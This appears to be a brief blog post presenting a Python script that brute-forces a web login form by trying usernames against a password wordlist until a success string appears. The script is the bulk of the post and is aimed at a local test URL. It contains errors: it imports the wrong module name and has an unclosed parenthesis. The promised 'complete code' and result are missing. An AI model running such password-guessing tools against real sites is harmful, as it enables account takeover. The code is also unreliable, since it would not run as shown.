Ad Code

Ticker

6/recent/ticker-posts

Sponsored by.

Chatbot AI, Voice AI and Employee AI. IndustryStandard.com - Become your own Boss!

Yehey.com - Automate Web Login Brute Forcing with Python Scripting

Image courtesy by QUE.com

This is an example of Password Brute Forcing using Python.

import request
import sys

target = "http://127.0.0.1:5000"
usernames = ["admin", "user", "test"]
passwords = "top-100.txt"
needle = "Welcome back"

for username in usernames:
   with open(passwords, "r") as passwords_list:
      for password in passwords_list:
         password = password.strip("\n").encode()
         sys.stdout.write("[X] Attempting user:pasword -> {}:{}\r".format(username, password.decode())
         sys.stdout.flush()
         r = requests.post(target, data={"username": username, "password": password})
         if needle.encode() in r.content:
            sys.stdout.write("\n")
            sys.stdout.write("\t[>>>>>] Valid password '{}' found for user '{}'!".format(password.decode(), username))
            sys.exit()
      sys.stdout.flush()
      sys.stdout.write("\n")
      sys.stdout.write("\tNo password found for '{}'!".format(username))
      sys.stdout.write("\n")

Here's the complete code, with added line.

and the result.

Articles published by QUE.COM Intelligence via Yehey.com website.

Post a Comment

0 Comments

Comments

Ad Code